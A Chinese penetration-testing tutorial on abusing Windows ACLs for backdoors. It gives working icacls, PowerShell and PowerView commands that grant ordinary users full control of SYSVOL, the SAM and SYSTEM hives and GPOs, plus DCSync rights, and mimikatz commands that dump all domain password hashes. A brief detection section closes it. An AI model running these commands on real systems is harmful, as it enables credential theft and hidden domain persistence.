渗透技巧——Windows 下的 Access Control List

发布于 2024-08-31 07:48:15 字数 15217 浏览 30 评论 0

0x00 前言

Windows 系统中的 ACL(Access Control List),用来表示用户(组)权限的列表。

在渗透测试中,理解并运用 ACL,尤其在后门利用(提权) 方面,可供发挥的空间很大。

而站在防御的角度,如果系统被攻破,找到并清除攻击者留下的 ACL 后门,同样需要对 ACL 有一定的了解。

0x01 简介

本文将要介绍以下内容:

  • ACL 相关概念
  • 查看 ACL
  • ACL 利用(文件、注册表和域环境)
  • ACL 检测

0x02 ACL 相关概念

官方文档:https://docs.microsoft.com/en-us/windows/desktop/SecAuthZ/access-control-lists

  • ACL:Access Control List,用来表示用户(组)权限的列表,包括 DACL 和 SACL
  • ACE:Access Control Entry,ACL 中的元素
  • DACL:Discretionary Access Control List,用来表示安全对象权限的列表
  • SACL:System Access Control List,用来记录对安全对象访问的日志

直观理解:

Windows 访问控制模型中会用到 ACL,比如文件、注册表的权限都包括 ACL,用来表示哪些用户(组)具有操作权限

例如对某个文件进行访问,系统将做以下判断:

  • 如果没有 DACL,系统将允许访问
  • 如果存在 DACL,但没有 ACE,系统将拒绝所有访问
  • 如果存在 DACL,也存在 ACE,那么会按照每个 ACE 指定允许或拒绝

实例演示

对于文件夹 C:\Windows\SYSVOL\sysvol\test.com ,查看文件夹属性

默认共有五条 DACL,如下图

Alt text

选中一条 DACL,其中包含多个 ACE,表示具有的权限,如下图

Alt text

0x03 文件中的 ACL

常用命令(icacls):

1、查看指定文件的 ACL

icacls C:\Windows\SYSVOL\sysvol\test.com

如下图

Alt text

2、备份指定文件(包括当前目录及其子目录中的文件) 的 ACL

icacls C:\Windows\SYSVOL\sysvol\test.com /save AclFile /t

3、还原指定文件(包括当前目录及其子目录中的文件) 的 ACL

icacls C:\Windows\SYSVOL\sysvol\ /restore AclFile /t

注:

还原时,路径需要设置为上级目录

4、添加用户 test1 对指定文件(包括当前目录及其子目录中的文件) 的完全访问权限

icacls C:\Windows\SYSVOL\sysvol\test.com /grant test1:(OI)(CI)(F) /t

注:

(OI) 代表对象继承 (CI) 代表容器继承 (F) 代表完全访问

5、移除用户 test1 对指定文件(包括当前目录及其子目录中的文件) 的完全访问权限

icacls C:\Windows\SYSVOL\sysvol\test.com /remove test1 /t

常用命令(powershell):

1、查看指定路径的 ACL

例如 C:\Windows\SYSVOL\sysvol\test.com

Get-Acl -Path 'C:\Windows\SYSVOL\sysvol\test.com'| Format-Table -wrap

2、添加用户 test1 对指定文件的完全访问权限

function Add-ACL{
    [CmdletBinding()]           
    Param (
        [Parameter(Mandatory = $True)]
        [String]
        [ValidateNotNullOrEmpty()]
        $Path
    )

    $acl = Get-Acl -Path $Path
    $person = [System.Security.Principal.NTAccount]"test1"
    $access = [System.Security.AccessControl.FileSystemRights]"FullControl"
    $inheritance = [System.Security.AccessControl.InheritanceFlags]"ObjectInherit,ContainerInherit"
    $propagation = [System.Security.AccessControl.PropagationFlags]"None"
    $type = [System.Security.AccessControl.AccessControlType]"Allow"
    $rule = New-Object System.Security.AccessControl.FileSystemAccessRule( `
    $person,$access,$inheritance,$propagation,$type)
    $acl.AddAccessRule($rule)
    Set-Acl $Path $acl
}
Add-ACL -Path 'C:\Windows\SYSVOL\sysvol\test.com'

3、移除用户 test1 对指定文件的完全访问权限

function Remove-ACL{
    [CmdletBinding()]           
    Param (
        [Parameter(Mandatory = $True)]
        [String]
        [ValidateNotNullOrEmpty()]
        $Path
    )

    $acl = Get-Acl -Path $Path
    $person = [System.Security.Principal.NTAccount]"test1"
    $access = [System.Security.AccessControl.FileSystemRights]"FullControl"
    $inheritance = [System.Security.AccessControl.InheritanceFlags]"ObjectInherit,ContainerInherit"
    $propagation = [System.Security.AccessControl.PropagationFlags]"None"
    $type = [System.Security.AccessControl.AccessControlType]"Allow"
    $rule = New-Object System.Security.AccessControl.FileSystemAccessRule( `
    $person,$access,$inheritance,$propagation,$type)
    $acl.RemoveAccessRule($rule)
    Set-Acl $Path $acl
}
Remove-ACL -Path 'C:\Windows\SYSVOL\sysvol\test.com'

4、添加用户 test1 对指定文件(包括当前目录及其子目录中的文件) 的完全访问权限

function Add-ACL{
    [CmdletBinding()]           
    Param (
        [Parameter(Mandatory = $True)]
        [String]
        [ValidateNotNullOrEmpty()]
        $Path
    )

    $acl = Get-Acl -Path $Path
    $person = [System.Security.Principal.NTAccount]"test1"
    $access = [System.Security.AccessControl.FileSystemRights]"FullControl"
    $inheritance = [System.Security.AccessControl.InheritanceFlags]"None"
    $propagation = [System.Security.AccessControl.PropagationFlags]"None"
    $type = [System.Security.AccessControl.AccessControlType]"Allow"
    $rule = New-Object System.Security.AccessControl.FileSystemAccessRule( `
    $person,$access,$inheritance,$propagation,$type)
    $acl.AddAccessRule($rule)
    Set-Acl $Path $acl
}
Add-ACL -Path 'C:\Windows\SYSVOL\sysvol\test.com'
$fileList = Get-ChildItem 'C:\Windows\SYSVOL\sysvol\test.com' -recurse
Foreach($file in $fileList)
{
    $file.fullname
    Add-ACL -Path $file.fullname
}

5、移除用户 test1 对指定文件(包括当前目录及其子目录中的文件) 的完全访问权限

function Remove-ACL{
    [CmdletBinding()]           
    Param (
        [Parameter(Mandatory = $True)]
        [String]
        [ValidateNotNullOrEmpty()]
        $Path
    )

    $acl = Get-Acl -Path $Path
    $person = [System.Security.Principal.NTAccount]"test1"
    $access = [System.Security.AccessControl.FileSystemRights]"FullControl"
    $inheritance = [System.Security.AccessControl.InheritanceFlags]"None"
    $propagation = [System.Security.AccessControl.PropagationFlags]"None"
    $type = [System.Security.AccessControl.AccessControlType]"Allow"
    $rule = New-Object System.Security.AccessControl.FileSystemAccessRule( `
    $person,$access,$inheritance,$propagation,$type)
    $acl.RemoveAccessRule($rule)
    Set-Acl $Path $acl
}
Remove-ACL -Path 'C:\Windows\SYSVOL\sysvol\test.com'
$fileList = Get-ChildItem 'C:\Windows\SYSVOL\sysvol\test.com' -recurse
Foreach($file in $fileList)
{
    Remove-ACL -Path $file.fullname
}

利用思路:

1、本地提权后门

在取得 Windows 系统的管理员权限后,可以修改系统目录的 ACL,添加普通用户的完全访问权限,作为提权后门

后续可以通过 dll 劫持、文件替换等多种方法从普通用户提升至管理员权限

2、域环境 GPO 的修改

修改域内共享文件夹 \\<DOMAIN>\SYSVOL\<DOMAIN>\ 的 ACL,添加普通用户的完全访问权限

后续可以使用域内普通用户的权限修改域环境的 GPO,修改 GPO 的计划任务,实现计划任务的远程执行

相关方法可参考之前的文章 《域渗透——利用 GPO 中的计划任务实现远程执行》

3、域内普通用户读取域内所有用户 hash

创建 ntds.dit 的文件共享,添加 ACL

后续可以使用域内普通用户访问域控制器的 ntds.dit 文件,读取域内所有用户的 hash

0x04 注册表中的 ACL

常用命令(powershell):

1、查看指定路径的 ACL

例如 HKEY_LOCAL_MACHINE\SAM

Get-Acl -Path 'HKLM:\SAM'| Format-Table -wrap

如下图

Alt text

获得 Access 项的具体内容:

$acl = Get-Acl -Path 'HKLM:\SAM'
$acl.Access

如下图

Alt text

2、添加用户 test1 对指定路径(包括当前注册表项及其子健) 的完全访问权限

$acl = Get-Acl HKLM:\SAM
$person = [System.Security.Principal.NTAccount]"test1"
$access = [System.Security.AccessControl.RegistryRights]"FullControl"
$inheritance = [System.Security.AccessControl.InheritanceFlags]"ObjectInherit,ContainerInherit"
$propagation = [System.Security.AccessControl.PropagationFlags]"None"
$type = [System.Security.AccessControl.AccessControlType]"Allow"
$rule = New-Object System.Security.AccessControl.RegistryAccessRule( `
$person,$access,$inheritance,$propagation,$type)
$acl.AddAccessRule($rule)
Set-Acl HKLM:\SAM $acl

注:

$inheritance = [System.Security.AccessControl.InheritanceFlags]"ObjectInherit,ContainerInherit" 表示其子健继承当前注册表项的权限

修改注册表项 HKLM:\SAM 的 ACL 需要 Administrator 权限

修改注册表项 HKLM:\SAM\SAM 的 ACL 需要 System 权限

3、移除用户 test1 对指定路径(包括当前注册表项及其子健) 的完全访问权限

$acl = Get-Acl HKLM:\SAM
$person = [System.Security.Principal.NTAccount]"test1"
$access = [System.Security.AccessControl.RegistryRights]"FullControl"
$inheritance = [System.Security.AccessControl.InheritanceFlags]"ObjectInherit,ContainerInherit"
$propagation = [System.Security.AccessControl.PropagationFlags]"None"
$type = [System.Security.AccessControl.AccessControlType]"Allow"
$rule = New-Object System.Security.AccessControl.RegistryAccessRule( `
$person,$access,$inheritance,$propagation,$type)
$acl.RemoveAccessRule($rule)
Set-Acl HKLM:\SAM $acl

利用思路:

1、本地提权后门

修改注册表项 HKLM:\SAMHKLM:\SYSTEM ,添加普通用户的完全访问权限

普通用户能够通过注册表项获得本地所有用户的 hash,进而获得管理员权限

3、本地自启动后门

修改注册表位置,添加启动项或者劫持项

0x05 域环境中的 ACL

通过 Active Directory Service Interfaces (ADSI) 实现

官方文档:https://docs.microsoft.com/en-us/windows/desktop/AD/controlling-access-to-objects-in-active-directory-domain-services

Powershell 调用 ADSI 的参考资料:https://social.technet.microsoft.com/Forums/windowsserver/en-US/df3bfd33-c070-4a9c-be98-c4da6e591a0a/forum-faq-using-powershell-to-assign-permissions-on-active-directory-objects?forum=winserverpowershell

常用命令(powershell):

注:PowerView 已经实现了这部分内容,所以本节直接引用 PowerView 中的功能

代码地址:https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1

1、获得当前域内所有对象

Get-DomainObject -Domain test.com

2、获得当前域内所有对象的 ACL

Get-DomainObjectAcl -Domain test.com

3、获得指定用户的 ACL

Get-DomainUser test1

4、添加用户 test1 对指定对象(guid) 的完全访问权限

Add-DomainObjectAcl -TargetIdentity '483e9973-2d45-4e2f-b034-f272a26950e0' -PrincipalIdentity test1 -Rights All

5、移除用户 test1 对指定对象(guid) 的完全访问权限

Remove-DomainObjectAcl -TargetIdentity '483e9973-2d45-4e2f-b034-f272a26950e0' -PrincipalIdentity test1 -Rights All

利用思路:

1、DCSync 后门

注:该方法学习自: https://www.specterops.io/assets/resources/an_ace_up_the_sleeve.pdf

DCSync 是 mimikatz 的一个功能,能够模拟域控制器并从域控制器导出帐户密码 hash

如果我们在域内一台主机上获得了域管理员权限,可以使用如下命令直接导出域内所有用户的 hash:

mimikatz.exe privilege::debug "lsadump::dcsync /domain:test.com /all /csv" exit

导出域内 administrator 帐户的 hash:

mimikatz.exe privilege::debug "lsadump::dcsync /domain:test.com /user:administrator /csv" exit

默认情况下,只有 Domain ControllersEnterprise Domain Admins 权限能够使用 DCSync

但我们可以对 DS-Replication-GetChanges(GUID: 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)DS-Replication-Get-Changes-All(1131f6ad-9c07-11d1-f79f-00c04fc2dcd2) 添加 ACL,这样就能实现普通用户调用 DCSync 导出域内所有用户的 hash

实现代码:https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1#L8270

添加 ACL 的命令如下:

Add-DomainObjectAcl -TargetIdentity "DC=test,DC=com" -PrincipalIdentity test1 -Rights DCSync

接下来,在域内一台登录了 test1 用户的主机上面,就能使用 mimikatz 的 DCSync 功能

删除 ACL 的命令如下:

Remove-DomainObjectAcl -TargetIdentity "DC=test,DC=com" -PrincipalIdentity test1 -Rights DCSync

2、GPO 后门

(1) 查看当前域内的 GPO

Import-Module GroupPolicy
Get-GPO -All

如下图, TestGPO 是我在测试环境自己添加的, Default Domain PolicyDefault Domain Controllers Policy 是域环境默认存在的 GPO

Alt text

(2) 添加用户 test1 对 TestGPO 的完全访问权限

$RawObject = Get-DomainGPO -Raw -Identity 'TestGPO'
$TargetObject = $RawObject.GetDirectoryEntry()
$ACE = New-ADObjectAccessControlEntry -InheritanceType All -AccessControlType Allow -PrincipalIdentity test1 -Right AccessSystemSecurity,CreateChild,Delete,DeleteChild,DeleteTree,ExtendedRight,GenericAll,GenericExecute,GenericRead,GenericWrite,ListChildren,ListObject,ReadControl,ReadProperty,Self,Synchronize,WriteDacl,WriteOwner,WriteProperty
$TargetObject.PsBase.ObjectSecurity.AddAccessRule($ACE)
$TargetObject.PsBase.CommitChanges()

(3) 移除用户 test1 对 TestGPO 的完全访问权限

$RawObject = Get-DomainGPO -Raw -Identity 'TestGPO'
$TargetObject = $RawObject.GetDirectoryEntry()
$ACE = New-ADObjectAccessControlEntry -InheritanceType All -AccessControlType Allow -PrincipalIdentity test1 -Right AccessSystemSecurity,CreateChild,Delete,DeleteChild,DeleteTree,ExtendedRight,GenericAll,GenericExecute,GenericRead,GenericWrite,ListChildren,ListObject,ReadControl,ReadProperty,Self,Synchronize,WriteDacl,WriteOwner,WriteProperty
$TargetObject.PsBase.ObjectSecurity.RemoveAccessRule($ACE)
$TargetObject.PsBase.CommitChanges()

后续可以对 GPO 进行操作,添加计划任务,实现计划任务的远程执行,具体方法可参考之前的文章 《域渗透——利用 GPO 中的计划任务实现远程执行》

0x06 ACL 检测

1、文件和注册表

可借助开源工具 WindowsDACLEnumProject:https://github.com/nccgroup/WindowsDACLEnumProject

能够列出存在风险的 ACL

3、域环境

需要开启高级安全审核策略,参考资料:https://blogs.technet.microsoft.com/canitpro/2017/03/29/step-by-step-enabling-advanced-security-audit-policy-via-ds-access/

开启策略后,Event ID 5136 会记录域环境中 ACL 的修改,参考资料:https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventid=5136

0x07 小结

本文介绍了 Windows 系统中的 ACL 在文件、注册表和域环境下后门利用方面的技巧,并给出检测后门的建议。我从 PowerView 中学到了很多域环境下 ACL 的知识,在此感谢作者的开源。

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据

关于作者

单调的奢华

暂无简介

文章
评论
25 人气
更多

推荐作者

七七

文章 0 评论 0

囍笑

文章 0 评论 0

盛夏尉蓝

文章 0 评论 0

ゞ花落谁相伴

文章 0 评论 0

Sherlocked

文章 0 评论 0

    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文